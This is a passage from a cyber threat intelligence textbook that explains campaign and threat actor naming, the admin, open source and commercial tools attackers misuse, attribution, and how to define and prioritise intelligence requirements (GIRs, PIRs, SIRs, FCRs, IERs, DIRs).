			Campaign names are often more fluid and less likely to follow standards. Campaigns are merely grouped activities, techniques, tactics, and procedures that are carried out by a specific actor or group within a set period. Campaigns are groups of malicious activity that are carried out by threat actors using specific tactics, techniques, and procedures for a specific purpose. A good example of this would be a threat actor group targeting a retailer outlet during December. 

			When researchers begin grouping activity, and early on within campaign analysis, it's likely that information to characterize the attribution of the threat actor or the motivation will not be available. By analyzing who and why related campaigns over time, we know that a temporary or placeholder actor group name would be given in this case, since the group cannot be determined. 

			It's commonplace for the information security industry to name a campaign or threat actor after the malware that was leveraged or the name of the group who performed the attacks. This is not only inaccurate but also not precise, often leading to more industry confusion. Some common naming practice examples for campaigns are as follows:

			
					Common file artifacts, such as mutexes or strings

					Commonalities in C2 infrastructure domains

					Commonalities in malware filenames

			

			Notably, campaign names are often catchy and fit the theme of the attack, such as a campaign name matching the malware PDB paths that were used throughout the attacks targeting the banking sector. Overall, a campaign is a time-bound set of clustered TTP activities that are performed by a threat actor or group.

			Aliases

			Threat actors, malware families, and campaigns security companies have their own naming standards and conventions. This means that there will be aliases for many campaigns, malware, actors, and APT groups. As an example, the researchers at FireEye may track a threat actor as APT 40, while Microsoft may track that actor as Gadolinium, while Dell may call that actor Bronze Mohawk. You can see that this quickly becomes confusing. 

			Aliases are often created by companies due to their unique access to telemetry data involving the threat actor. Security companies only often see a sliver of an attacker's campaign, and often, due to that limited scope of data, an alias is created. Ultimately, researchers are naming groups of behavior and similarities, and these often overlap, making things messy. Each organization has access to telemetry data, making its view of the threat actor's activity limited in nature. Therefore, their viewpoint into the data and its name may come from a different internal organizational standard, which, in turn, creates a new name and new alias.

			Ultimately, when working with aliases, to cut through the confusion, it's extremely important to track all the known aliases of the publicly available threat actors. One great starting point for those delving into actor naming is MITRE ATT&CK group tracker, found at https://attack.mitre.org/groups/. 

			Just as important as group and malware naming is campaign naming. While campaign naming is often more straightforward, there are still important considerations to consider, which we will discuss in the next section.

			Naming malware, activity, threat actor groups, or campaigns is a diverse and sometimes confusing endeavor, but it's necessary for accurately tracking actors and their TTPs over time. In this section, we've covered a litany of different naming concepts that will be foundational in later chapters, as we continue exploring more intelligence topics. With that, let's move on to tooling.

			Tooling

			When most people think about computer hackers, they often think of a Hollywood depiction of a hacker persona in which they have all kinds of specialized hardware they are using and custom-crafted exploits they need for some exact purpose – something they have that no other person has. That may work for Hollywood, but the reality is that most threat actors are opportunistic, meaning they take what they can and are looking for the simplest methods to achieve their results. 

			This means that they will utilize the internal functionalities of an operating system, including its native command and scripting interpreters. This may include interpreters such as the Unix shell, PowerShell, and Windows Command Shell. They will also look at the native functionalities of applications to determine if they provide any scripting functionality. This means that they may be looking for Visual Basic, Python, JavaScript, or even any type of batch functionality.

			When they can't achieve some type of result by utilizing the operating system, this is when they will begin to introduce common system administrator tools, open source tools, or the use of a commercial hacking tool.

			System administrator tools

			Numerous system administrator tools have been utilized by threat actors that were legitimately built for IT system administrators. A perfect example is a popular software library that is written and maintained directly by Microsoft known as Sysinternals (https://docs.microsoft.com/en-us/sysinternals/). This suite of tools is meant to assist IT administrators in managing, troubleshooting, and diagnosing Windows operating systems and applications. 

			To show you an example of the suite's powers and capabilities, let's look at one tool: PsExec. According to Microsoft's documentation for PsExec (https://docs.microsoft.com/en-us/sysinternals/downloads/psexec), it does the following:

			"PsExec is a lightweight telnet replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command prompts on remote systems and remote-enabling tools such as IpConfig that otherwise cannot show information about remote systems."

			PsExec has some other capabilities as well, as follows:

			
					PsExec can download or upload a file over a system share.

					PsExec can write programs to the ADMIN$ network share to execute commands on remote systems.

					PsExec can also execute binaries on remote systems using a temporary Windows service.

			

			While these are probably very convenient for IT system administrators, imagine the same capabilities in the hands of the threat actor. PsExec has been known to be used by financially motivated threat actors such as FIN5 and FIN6 and even by nation state groups such as APT1 and APT29.

			Open source tools

			Sometimes, the internal capabilities of the operating system and system administrator tools are not enough, and the threat actor doesn't have the skillset or the time to craft a custom tool. In situations like these, the threat actor will simply look for open source software. As we mentioned earlier, when we were telling you to Google ransomware source code, we illustrated that there was an enormous collection of proof of concept code that has been used by threat actors. One of the most prevalent ones is Mimikatz (https://github.com/gentilkiwi/mimikatz).

			Mimikatz is an open source application that allows users to perform several functions, with one of the most widely used being dumping user passwords from a Windows operating system's memory. The creator of Mimikatz, Benjamin Delpy, created the application as a proof of concept for Microsoft to show that the authentication protocols they had been using were vulnerable to attacks. Unfortunately, his proof of concept also became the most widely used and downloaded tool used by hackers. Threat actors utilize this tool for the sole purpose of capturing credentials and then using them to escalate privileges. Mimikatz has been used by nation state actors such as OilRig, APT1, APT28, and the Lazarus Group and even some financially motivated ones such as Indrik Spider and Wizard Spider, just to name a few. 

			Now, we don't want to insinuate that Mimikatz is just a tool that has inadvertently become the most widely used tool by hackers. The tool also has a large amount of applicability for system administrators who are seeking to identify vulnerabilities in their networks and is widely used by corporate red teams and penetration testers. But like the escalation from system administrator tools to open source tools, when the job is just not getting done, sometimes, you need to use something that is commercially developed.

			Hacking tools

			Now, believe it or not, but several companies create software that is meant to simulate the threat actors' ability to execute targeted attacks and emulate post-exploitation capabilities. Two of the most notable are Metasploit (https://www.metasploit.com/) and Cobalt Strike (https://www.cobaltstrike.com/). Both tools have a litany of capabilities and techniques that can be leveraged by a threat actor if used maliciously. 

			Unfortunately, Cobalt Strike had its source code leaked on in November 2020 and since then, there has been an exponential increase in threat actors using the tool as part of their attack chain. A case in point is the SolarWinds espionage attack. Researchers found a tool that had been utilized for follow-on attacks, a backdoor loader that dropped Cobalt Strike to perform lateral movement across victim networks. Now, it's not just nation state actors jumping on the Cobalt Strike train. Cobalt Strike has also become part of the ransomware arsenal with numerous threat intelligence teams publishing research about how financially motivated groups are using the tool as part of their attack chain. Microsoft's 365 Defender Threat Intelligence team published such research in April 2020, which can be found at https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/.

			As you can see, there are numerous tools available to threats actors with wide and varying ranges of capability and use. Additionally, you can see how well-intentioned tools can also be used maliciously. Cobalt Strike, a tool that has primarily been used by security practitioners, has unfortunately just become another tool that's used in a threat actor's toolbox. 

			Here, you can see that the arsenal of tools varies, from using legitimate administrator tools to open source POCs to even utilizing commercial hacking tools. No matter what's in the toolbelt of a threat actor, remember that they are trying to achieve their goal with the smallest barrier to entry as possible, meaning that creating a very specific tool, if it exists in an attack, is likely single-use and focused on a specific target. Now, let's discuss threat actor attribution.

			Threat actor attribution

			Threat actor attribution is a commonly discussed concept that's often misunderstood. Inherently difficult, threat actor attribution is the process of identifying the actors behind an attack, in addition to understanding their motivations. Attempts by advanced threat groups to obscure their identities have generated countless discussions about attribution and its nuance. But ultimately, attribution often boils down to a combination of technical indicators, attacker mistakes, activity overlaps, and sometimes, luck.

			Attribution rarely ends up in any material action against the individual performing the attack but understanding the who behind an attack can help inform defenders to make better defensive choices. Attribution often leads to one of two outcomes – either an unknown threat actor group or a known threat actor group.

			When you're attempting to perform attribution, it's often best to look at historical campaigns that have been conducted by the actor you're attempting to attribute. Attribution, when done properly, is incremental and is conducted over a long time.

			When researchers attempt to perform attribution, they're likely attempting to draw conclusions based on the following:

			
					The likely country of origin. For example, is the malicious decoy document contents tailored toward a specific country?

					Historical campaigns conducted by the actor. For example, has the actor conducted campaigns in similar industry verticals?

					The tooling that was used by the actor during those campaigns. For example, are custom webshells commonly used by this attacker? A webshell is a script running on a server that enables remote administration.

					The preferred tactics of the attacker. For example, an attacker may prefer to leverage Cobalt Strike for its initial compromise.

					The current and historical infrastructure. For example, does the attacker leverage a specific and common hosting provider for their command and control traffic, such as Vultr (https://www.vultr.com/)?

					File or malware attributes, such as strings debug paths or metadata associated with a malware sample.

					Exploits leveraged. For example, is the threat actor using a zero-day vulnerability and the corresponding exploit to target a victim?

			

			There is a good way of understanding intelligence characteristics as it pertains to attribution, and it involves mapping intelligence types to attribution characteristics. Part of collecting intelligence for attribution involves understanding intelligence characteristics and their value as they pertain to the type of intelligence – be it tactical, operational, or strategic. Several diverse considerations must be taken into account when you're attempting attribution, all of which have unique pitfalls and benefits. But when used properly, attribution can help you glean a better understanding of an adversary so that you can defend against them in the future. However, failure to attribute the actions of a threat actor to a threat or an attack can have numerous consequences, such as wasted resources or even a general misunderstanding of the threat landscape. Furthermore, if the goal of the organization is to publicly disclose the information, an incorrect analytic judgment can have severe consequences on the credibility of the organization.

			Summary

			In this chapter, we dove into threat actors and highlighted their motivations, their persona types, the threat campaigns they wage, and the tools they use. Then, we moved to how to approach naming from a malware payload, a threat campaign, and even the threat actor itself. Some of the core concepts that you should have picked up on are the types of intelligence that could be collected about threat actors, their campaigns, vulnerability exploitations, and malware. Then, we jumped into naming conventions for threat actors, threat campaigns, malware, and other types of intelligence aligned with the actors. Finally, we discussed threat actor attribution, how to approach it, and its pros and cons. 

			In the next chapter, we will move into the technical discipline of threat intelligence by offering guidance and discussing threat intelligence policies. Specifically, we will take a deep dive into developing general, focused, and prioritized collection and threat intelligence requirements. Finally, we'll introduce you to several thought exercises to help you strategically visualize the threat landscape.

		

	
		
			Chapter 3: Guidelines and Policies

			Cyber threat intelligence collection and enrichment guidelines and policies, often the bane of threat intelligence professionals, serve a beneficial purpose when properly understood and employed. Likewise, it is important to understand the collection and enrichment guidelines and procedures to implement at the beginning of a threat intelligence program.

			As we explored in Chapter 2, Threat Actors, Campaigns, and Tooling, cyber threat intelligence is a diverse field with several intricate avenues to explore. In this chapter, we will cover policies and procedures related to threat intelligence collection and enrichment. Specifically, this chapter will focus on the need for and benefits of policies and guidelines in cyber threat intelligence. This chapter will also cover concepts related to developing intelligence requirements. A large portion of this chapter will go thoroughly through General Intelligence Requirements (GIRs), Prioritized Intelligence Requirements (PIRs), and Focused Collection Requirements (FCRs).

			Specifically, in this chapter, we are going to cover the following topics:

			
					The needs and benefits of guidelines and policies

					GIRs

					Prioritization

					FCRs

					Information Extraction Requirements (IERs)

					Data Intelligence Requirements (DIRs)

					PIRs

					Specific Intelligence Requirements (SIRs)

			

			The needs and benefits of guidelines, procedures, standards, and policies

			At their cores, policies and procedures help define a roadmap for daily operations. Guidelines, policies, and procedures give guidance for decision-making and streamline processes that can be easily repeatable. While the differences between policies, procedures, guidelines, and standards might vary, the benefits they provide cannot be disregarded; ultimately, all of them set organizational expectations.

			Generally speaking, policies and procedures establish the rules and procedures that organizations and employees follow. When used in conjunction with each other, the guidelines, procedures, standards, and policies for cyber threat intelligence collection and enrichment will enable better decision-making all while streamlining day-to-day processes:
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			Figure 3.1 – The hierarchy of guidelines, procedures, standards, and policies

			Let's explore each CTI organizational document in detail.

			Guidelines

			Guidelines are general rules employed by individuals and organizations. Guidelines are generally considered to be pieces of advice and the best practice for a specific function, such as threat intelligence collection. Typically, a guideline aims to make processes more efficient according to a routine or practice. 

			Guidelines are usually issued and used by organizations to make the actions of their employees more repeatable and predictable. A guideline is often not required by an organization, and typically, employees that don't follow guidelines wouldn't be reprimanded. 

			A good example of a guideline could include a persona creation and management guideline to be used in underground forums for collection and enrichment purposes. These guidelines would set up the guardrails for how to create and manage online personas to conduct collection, enrichment, or pivoting in CTI data. 

			Procedures

			Procedures are step-by-step instructions or directions to complete a given task, goal, or mandate. Typically, procedures are intended for internal departments, and it's necessary to develop comprehensive and consistent documentation based on the procedures that are being developed.

			Procedures often act as the cookbook for staff to conduct and accomplish day-to-day tasks, such as writing a YARA detection rule for a sandboxed product. Procedures are intended to be applied to a wide or small audience, as the procedure should be well-defined and detailed. 

			Procedures are typically developed for many reasons, but they are most often leveraged to hold employees accountable in addition to standardizing processes that exist within the organization. Married together, procedures and policies provide a basic roadmap for daily and day-to-day operations. An example procedure would include how to set up, step-by-step, a persona in a popular cybercriminal forum. 

			Standards

			Standards in cyber threat intelligence are documents that establish mandatory courses of action or rules that give policies support and direction. Standards often answer the what of policies. Standards can easily be described as an average or normal requirement as part of day-to-day organizational activities. Standards form the building blocks of CTI by creating consistent rules that can be universally adopted.

			Understanding what standards need to be put in place is often a contentious and time-consuming process, with many stakeholders vying for or against specific standards. Standards are meant to indicate an expected behavior, for example, a consistent template to use for all corporate incident response reports. 

			Standards are often compulsory and require enforcement to be fully effective in a CTI environment. Standards provide a stable but evolving foundation that enables departments and organizations to excel.

			An example of a standard would be leveraging an incident response standard across the organization to use in times of security events or incidents. This standard would define how to accomplish an incident response policy. Another good example of a standard includes a standard for maximum expenditures in underground forums for intelligence collection.

			Policies

			Policies are a system of guides used to usher decision-making to enable outcomes. Policies are built foundationally on formal requirements that pertain to the policy's subject matter. Often, policies are created in response to legal or government requirements or to protect proprietary organizational information.

			Policies help define a company's CTI values and objectives, which ultimately lead to benefiting and enabling consistent and actionable organizational decision-making. Unlike other types of organizational documents, policies don't account for employees using their own best judgment. The policy is the only right option to follow, and the policy outlines how the employees should follow that policy.

			Often, policies are enforceable, and following them is mandatory. Ultimately, this means that there are consequences for not following them. Policies often include the consequences of not being adhered to. An example policy that correlates with a standard would be an underground procedure policy that would outline the limits on underground expenditures with a reference to the appliable standard, which contains the maximum allotment. 

			The process of using guidelines, procedures, standards, and policies in a holistic fashion is incredibly beneficial for any organization seeking a CTI function. In the next section, we're going to explore some examples of important policies, procedures, and guidelines that can be used for CTI collection and enrichment. 

			SIRs

			One specific requirement that is often overlooked, which is highly granular and immediate in nature, is the SIR. SIRs are operational and tactical, focusing on specific facts and activities. SIRs are where the intelligence analyst can identify requirements pertaining to PIRs. SIRs tend to outnumber GIRs or PIRs simply due to the granularity involved with defining SIRs.

			Often, SIRs are time-constrained to some degree. This is because the data and intelligence provided via a SIR is so granular and, therefore, likely actionable. It's recommended that you reevaluate the SIRs that are defined every 30 days since these requirements could change often. SIRs are notably technical in nature, whereas PIRs and GIRs are typically more generic and relate to broader cyber threat activity.

			SIRs are highly specific; for example, identify the C2 infrastructure that a specific threat actor is leveraging today. Often, SIRs pertain to the specific attributes of an attack or actor or technical intelligence observations; for example, describe the specific attributes associated with all REvil ransomware binaries observed in incidents today. 

			When viewed in terms of granularity and the level of detail involved in each intelligence requirement, SIRs are considered the most granular and detailed, whereas GIRs are, as their name implies, the most general of intelligence requirements:
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			Figure 3.2 – Intelligence requirements per granularity level

			Now that we've examined the different types of intelligence requirements that should be developed by organizations pursuing a CTI function, let's examine what is necessary for developing intelligence requirements.

			PIRs 

			Understanding the type of intelligence that is necessary and in what priority is a key focus of any CTI function. Not knowing what intelligence to collect and enrich is akin to a rudderless ship that is adrift at sea. PIRs help intelligence become more granular and well-defined by specifically answering several key intelligence questions.

			PIRs are intelligence requirements that are defined by the organization, which have anticipated priorities in collection and enrichment to enable rapid decision-making. PIRs are meant to determine and outline the priority of intelligence requirements. PIRs are commonly changed or replaced entirely, as prioritization needs, GIRs, and the organization's threat profile change.

			Good PIRs are always time-based and should ask singular questions, such as what are the threat actor's motives while attacking my organization? PIRs are often defined using a combination of GIRs, threat modeling, and red teaming, and they should be reevaluated every 6 months.

			There is no set standard of PIRs or how they're defined. However, good PIRs have four factors in common:

			
					They only ask one question: PIRs should only ask one question. Well-defined PIRs should only ask one question to ensure that proper focus and attention are applied to the intelligence requirement. 

					They focus on a specific activity or event: Properly establishing focus and granularity is paramount for defining PIRs. To keep PIRs granular, a PIR should be focused on one specific activity or event. This will ensure the proper focus is applied to the PIR.

					They provide the intelligence required to support decisions: One of the primary purposes of a PIR is to support decision-making throughout the organization. This could be in the form of determining what to proactively block or a litany of other outputs, but supporting decision-making is one of the defining benefits of having well-defined PIRs.

					They provide the latest time information is of value (LTIOV): The LTIOV is the time by which an intelligence staff must deliver information to the requester in order to provide timely intelligence. PIRs should help define the turnaround time for intelligence that has been collected and enriched. This ensures that the intelligence itself does not become stale and, therefore, largely useless in day-to-day operations.

			

			Based on what we've covered in relation to PIRs, there are several examples that could illustrate a PIR. An example PIR includes requirements such as where along the perimeter will the adversary attack? Another correlated example is what vulnerabilities could be available to the adversary?

			GIRs

			An intelligence requirement is an identified intelligence gap within the organization. We identify this as a piece of information that we don't have or a question that we can't answer – literally, a gap in our intelligence – and then we generate an intelligence requirement for it. GIRs are a collection of these gaps that require some form of CTI collection.

			Intelligence requirements are simply collection goals that describe knowledge gaps generated from the data we want to collect. To establish a proactive response or even to fulfill an organizational need, it is fundamental that all collection be directed to build upon some corpus of cyber threat information. This is often referred to as the intelligence repository of an organization. It's important for the collection of these requirements to be fulfilled by a CTI group through security automation, threat hunting, or security research. Doing this will allow your CTI organization to stand up a capability that analyzes threats and provides a cohesive understanding of the threat, how it operates in an environment, and even how it can be deployed as a part of future threat actor campaigns, as we'll examine later in this and upcoming chapters.

			Defining intelligence requirements

			The amount of work required to answer any intelligence requirement is often a factor for considering whether an intelligence requirement is needed. Often, you can start with any continued effort to fulfill a critical need within your organization. Alternatively, a question that has been asked before, which requires substantial work, and is reoccurring usually justifies the need for a requirement. Intelligence requirements ask us a question or identify a specific piece of information we are interested in that meets the following criteria:

			
					Necessity: Is the collection of intelligence that fulfills this intelligence requirement necessary? Does it meet our goal for defining the intelligence requirement? Does it close the critical gap in intelligence that we originally defined?

					Feasibility: Is it possible for us to collect information or intelligence identified in this intelligence requirement? When determining the feasibility of possible collection, you have to consider what is technically possible to collect but also whether the collection effort is within the scope of our capabilities as an organization. 

					Timeliness: Will we be able to collect information and intelligence fast enough to take appropriate action? Timeliness is not just a factor of collection but also evaluation, validation, and distribution. Will this process be completed quickly enough to make the collection actionable?

					Specificity: Is the verbiage utilized in the intelligence requirement succinct enough that any intelligence analyst or security researcher can read the requirement and completely understand what they need to collect to close the information gap? Important Note
Because intelligence requirements should always fulfill the needs of our organization, they should be continually reviewed in the context of the defining criteria. If the requirement doesn't meet the need in which it was created, then it needs to be updated, refined, or removed.


			

			It is important to understand that intelligence requirements are intended to be guidance for repeatable and continued collection over time. This doesn't eliminate the need for short-term, prioritized, focused, or ad hoc requirements that fulfill an immediate need. Often, security research and intelligence collection requests are derived from stakeholders within an organization that has these needs. In these cases, we are asking these stakeholders to advise us about what functional area that request has originated from and to provide a suggested due date and priority. 

			Additionally, the priority should reflect the current GIRs list. If a due date and/or priority is requested that doesn't match the current intelligence requirement priorities, then a follow-on discussion might be needed to define the expectations of the request.

			Once you have a GIR ready, you could always evaluate the intelligence requirements to ensure that the description provides the clarity needed so that the intelligence collector is truly closing the intelligence gap.

			Evaluating the intelligence requirement

			Discussions surrounding cyber threat intelligence collection usually revolve around the understanding that collection is directed through the form of targeted intelligence requirements. Further, when performing any collection effort, the security researcher or threat hunter should understand that there are general items of interest that they should attempt to identify while trying to collect information for the requirement. Every organization is different; however, each organization should attempt to clarify and standardize what information should be collected and retained for every collection attempt. 

			In the following list, you will find an example of the general items of interest for an intelligence requirement. 

			A general-items-of-interest example

			
					Environment: What are the societal, technological, economic, political, and environmental factors that influence these threat actors, their selection of targets, and the tools and techniques they use? 

					Actors: Who are the actors involved in this activity? 	Motivation: What are the factors that drive individuals to become involved in this activity? 
	Capability and skill development: How are these actors developing the skills and capabilities to conduct this activity? 



					Activity: What are the actors doing? 	Planning and coordination: How are actors planning this activity? 
	Tools and techniques: What tools and techniques are these actors using to conduct this activity? 
	Target selection: How do these actors select their targets? 
	Infrastructure: What are the enabling infrastructures that these malicious actors use to conduct this activity? 



					Outcome: What are the types of activities being used to accomplish this objective? 	Impact: What is the impact of the malicious activity on targeted entities? 
	Exploitation of results: Following the malicious activity or campaign, how are the actors leveraging the results?



			

			At this juncture, it is worth discussing the prioritization of intelligence requirements.

			The prioritization of intelligence requirements

			Prioritization is a tool to assist with the anticipated priorities of an organization. It gives the organization the ability to stack rank the GIRs so that the organization has a stated and anticipated priority of all the GIRs developed. This will assist in the planning, execution, and decision-making during the collection and creation of intelligence requirements. All efforts to obtain high-value cyber threat information through any concerted collection operation should consider assigning a priority to all the GIRs that have been developed for the organization. 

			Much like when we defined the general items of interest for an organization, the priority level that is utilized by an organization must be standardized and used throughout. This is so that everyone is communicating with the same level of effort and understanding. You will find an example of a priority system that can be utilized, as follows:
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			Table 3.1 – An example of the priority levels for intelligence requirements

			Now that you are aware of how to set the priority levels for intelligence requirements, let's move on to gain a better understanding of GIRs.

			A GIR example

			So, as we shift toward defining a minimal viable GIR for our organization, it's crucial to define the standard information associated with the GIR. While not completely holistic and not standardized for any organization, it is recommended that as you define what your GIR should look like, you also define the nomenclature associated with it so that everyone in the organization agrees on the attributes of the requirement. We've defined what we believe to be minimal features, as follows:

			
					Unique identifier: This is exactly what it sounds like. As you go through the process of defining intelligence requirements and continually review, delete, and reprioritize based on the needs of the organization, it is useful to reference GIRs by a unique identifier such as a number or some other naming vehicle that has been set up by your organization as a short form reference.

					Priority: This is from our earlier discussion about establishing the priority of the created requirement. Prioritization is a tool to assist with the anticipated priorities of an organization.

					Intelligence requirement: This refers to the intelligence gap, as mentioned earlier. Clearly define and articulate what type of knowledge or information you want to collect. This should be simple and succinct. 

					Description: This defines what your intelligence requirement usually is. This should include an exhaustive list of examples in terms of where this information can be collected and what it exactly is. 

			

			Taking all of this into account, we've provided a simple example of a GIR, as follows, utilizing the core information discussed:
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			 Table 3.2 – An example of a GIR

			You can see in our ransomware-focused GIR that we have decided to put our efforts into collecting information about the threat actor and their TTPs. If your organization is looking to collect threat indicators for security posture improvement, then it's important that you create an additional GIR that is just focused on attack surface collection. We will discuss the reasons behind this thinking later in the chapter, as we walk through the process of developing an example GIR.

			Important Note

			There are two things to bear in mind. Should your specific organization want to customize your GIR, then this is as simple as defining a new feature in the nomenclature. A good example could be the alignment of the GIR to the product ecosystem or even a business unit within the organization. Secondly, once we have all the GIRs and descriptions defined, reference to a collection requirement can simply be referenced using the identifier nomenclature we put in place. For example, the collection requirement of 1.2 is specifically looking for new or changing methods of ransomware distribution.

			Now that we've got a good understanding of what effort goes into defining and evaluating a GIR, let's move on to examine FCRs.

			FCRs

			As part of any CTI program, it's best for organizations to adopt robust intelligence requirements. Typically developed and leverage in unison, it's best for organizations embarking on a CTI path to leverage, at the very minimum, FCRs, GIRs, PIR, and SIR.

			As the need for cyber threat intelligence in an organization evolves and matures, the distinct need for FCRs also arises. Threat intelligence collection is the act of collecting intelligence via a litany of diverse sources, such as open source feeds, telemetry data, and paid-for services, such as VirusTotal.

			Generally speaking, what intelligence consumers want and what intelligence is actually collected are two different things. The FCR should prioritize and identify the requestor, and then map the GIR, data inputs, blockers, and desired outputs. When using FCRs, organizations can more easily assign collection tasks to individuals or teams, enabling a manager to easily assign collection tasks based on the priority level and other factors.

			There are two types of commonly recognized collection requirements: internal and external. The differences between the two are primarily derived based on their data sources; therefore, internal often refers to organizational-based data, whereas external often refers to intelligence from services, feeds, and Open Source Intelligence (OSINT):
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			Table 3.3 – Collection types correlating to data type examples

			It's important to distinguish between internal or external collection requirements. This is because their distinct differences often differentiate a distinct need and prioritization.

			Ideally, FCR's should be created in a master list and updated twice a year, to account for team and threat landscape changes. Additionally, FCRs should be updated anytime a new GIR is pushed or if there is a major landscape shift requiring review. The GIR priority can also be used to help define the refresh frequency of FCRs. A good example of an FCR includes the following:

			
					FCR identifier: This unique field is meant to give a numerical assignment to make it easier to reference in other documents and procedures.

					Focused collection requirement: This is the field that defines the actual collection requirement. Typically, this is broad in nature, such as ransomware or ransomware affiliates.

					Priority: The priority defines the importance of the specific collection requirement. The priority should be defined based on the business need, the importance to the team mission, and the capability to collect. 

					Description: The description is just what it sounds like – the description of the FCR. This should be concise and descriptive and easy enough to understand with little additional context. 

					Requesting team or individual: This is merely the group, person, or entity requesting the FCR to be added. It's important to track requesting entities because this often helps establish organizational importance. Additionally, it provides a feedback loop to ensure FCRs are continually reevaluated.

					Defined GIR: The defined GIR is the mapped GIR that the FCR solves or attempts to solve. Every FCR should match up with a defined GIR.

					Scope: The scope defines internal or external data sources. This is often a key consideration during the prioritization process. For example, gathering internal telemetry data is often a cumbersome process, involving many different organizational departments.

					Data type: The data types field is meant to encompass the affected file types of an FCR. For example, if an analyst is collecting new malware samples related to executables, the file type could be PE32/PE64.

					Output: Finally, we have the output of the FCR. This can be a technical solution such as an API feed, or it could be a non-technical output, such as a report.

			

			Taking all of this into account, we've provided a simple example of an FCR, as follows, utilizing the core information discussed.
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			Table 3.4 – An example of an FCR

			Part of the importance of defining FCRs is the process of iteratively reviewing the FCRs for accuracy and validity. There is no right or wrong quantity for FCRs, as the FCR is intended to be developed based on gaps identified via GIRs and PIRs.

			Reevaluation 

			Continually reevaluating FCRs ensures you are maintaining an accurate and timely collection requirement list. The reevaluation process should be iterative in nature, occurring based on GIR priority, landscape changes, GIR changes, and more. It should involve reprioritizing and working with requesting entities to ensure the FCR is accurate and its prioritization is accurate.

			The risk of not reevaluating FCRs is collecting stale data that is no longer important or relevant to collect. This risk increases the longer the time is between reevaluation cycles. 

			Now that we've looked at some of the foundational requirements of general intelligence requirements and collection, let's explore PIRs, an equally important requirement that is all too often dismissed. 

			IERs

			Included in the process of creating FCRs is the creation of IER. Typically mapped directly to the FCR, the IER is responsible for defining any specific requirements as they pertain to the extraction and collection of intelligence data, regardless of the data source. IERs are often created in tandem with other teams, such as machine learning or network infrastructure engineers. This is largely due to the fact that understanding and developing IERs often requires inputs from other teams to determine the needs, dependencies, and feasibility of collecting intelligence. Examining it practically, each IER should track, at the very minimum, eight key fields:

			
					IER identifier: This unique field is meant to give a numerical assignment to make it easier to reference in other documents and procedures.

					Information extraction requirement: This is a high-level description of the IER. Typically, this is meant to give readers a quick and concise understanding of what the requirement is.

					Priority: The priority defines the importance of the specific collection requirement. The priority should be defined based on the business need, the importance to the team mission, and the capability to collect. 

					Description: The description is just what it sounds like – the description of the IER. This should be concise and descriptive and easy enough to understand with little additional context. 

					Defined GIR: The defined GIR is the mappedta.cpp GIR that the FCR solves or attempts to solve. Every FCR should match up with a defined GIR.

					Scope: The scope defines internal or external data sources. This is often a key consideration during the prioritization process. For example, gathering internal telemetry data is often a cumbersome process, involving many different organizational departments.

					Data dependency: This outlines and identifies any possible dependency that might exist that could prohibit the collection or enrichment of threat intelligence data.

					Data types: The data types field is meant to encompass the affected file types of the FCR. For example, if an analyst is collecting new malware samples related to executables, the file type could be PE32/PE64.

			

			Now, let's examine an example of an IER that could commonly be seen in organizations today:
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			Table 3.5 – An example of an IER

			As CTI analysts develop and define IERs, there are some example questions to ask during the definition of IERs. These include the following:

			
					What kind of data analysis is required?

					Are there any data extraction limitations on the feeds consuming the intelligence?

					Are there specific runtime considerations for tooling within the CTI function?

					Are there specific processing limitations or considerations for tooling within the CTI function?

					Are there limitations in the current intelligence feeds being ingested?

			

			Some good examples of IERs could include the following:

			
					API user feed max rate request limit of 5 requests per minute

					Server constraints on a threat intelligence platform

			

			While IERs are not necessary to the success of FCRs, they are a strategic consideration that should be taken into account to better assess the organizational maturity of collection. Continually iterated upon, IERs should be reevaluated on the same basis as FCRs – or every 3 months at a minimum.

			DIRs

			Also included during the creation of FCRs are DIRs, which are intended to capture the requirements related to specific intelligence data that is being gathered or processed. DIRs are considered granular in nature, as they're specific to the data types that are being leveraged by the organization. These requirements often look at current and future considerations in the way that intelligence data is stored and transmitted. 

			DIRs are intended to unearth any dependencies and requirements that might exist during the gathering and processing of intelligence data. These considerations could include everything from the uptime requirements of API feeds to the specific storage requirements for newly developed systems. Each DIR should track, at the very minimum, eight key fields:

			
					DIR identifier: This unique field is meant to give a numerical assignment to make it easier to reference in other documents and procedures.

					Data intelligence requirement: This is a high-level description of the DIR. This is typically meant to give readers a quick and concise understanding of what the requirement is.

					Priority: The priority defines the importance of the specific collection requirement. The priority should be defined based on the business need, the importance to the team mission, and the capability to collect. 

					Description: The description is just what it sounds like – the description of the DIR This should be concise and descriptive and easy enough to understand with little additional context. 

					Defined GIR: The defined GIR is the mapped GIR that the FCR solves or attempts to solve. Every FCR should match up with a defined GIR.

					Defined FCR: Because the IERs are defined as part of the FCR process, the defined FCR includes any corresponding FCR.

					Data requirement: This outlines the specifics as they pertain to the storage or processing of intelligence data.

					Data type: The data type field is meant to encompass the affected file types of FCR. For example, if an analyst is collecting new malware samples related to executables, the file type could be PE32/PE64.

			

			Moving closer, let's examine an example of a DIR:
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			Table 3.6 – An example of a DIR

			As witnessed with IERs, it's important to define DIRs that roll up to FCRs. Some example questions to ask during the definition of DIRs include the following:

			
					What data is needed to answer the FCR?

					Are there any requirements pertaining to the volume of data?

					What data is needed to solve the intelligence requirement?

					Are there specific requirements needed to transfer intelligence data?

			

			Often, DIRs are highly granular and pertain specifically to data types that are actively being collected. Some good examples of DIRs include the following:

			
					A 500-TB Elasticsearch instance to store threat intelligence data generated from a malicious indicator feed

					An uptime of 99.9% for an API feed leveraged by a threat intelligence provider

					API feed max rate request limit of 5 requests per minute

			

			Essentially, DIRs can be utilized for any data collection requirement your organization might need. Let's move on to discuss PIRs. 

			Developing intelligence requirements

			Now that you have an understanding of the depth and breadth that intelligence and collection requirements can cover, let's work on developing some to give you a better understanding of how they are created.

			Attack surface versus threat actor focused

			As you will read later in the book when we discuss conceptual models, the Pyramid of Pain explains the level of threat intelligence that can be obtained and the level of difficulty that is often associated with collection at each phase. At the very bottom of the pyramid, and what is considered simple, easy, and trivial to obtain, are threat indicators. They are also referred to as indicators of compromise (IOCs). They are at the bottom because the base is wide, and this data is often plentiful for collection. From a collection point of view, this is also considered to be attack surface data. The attack surface is usually represented by the digital footprint an organization has connected to the internet, and it can comprise anything from IP addresses or blocks to domain names.

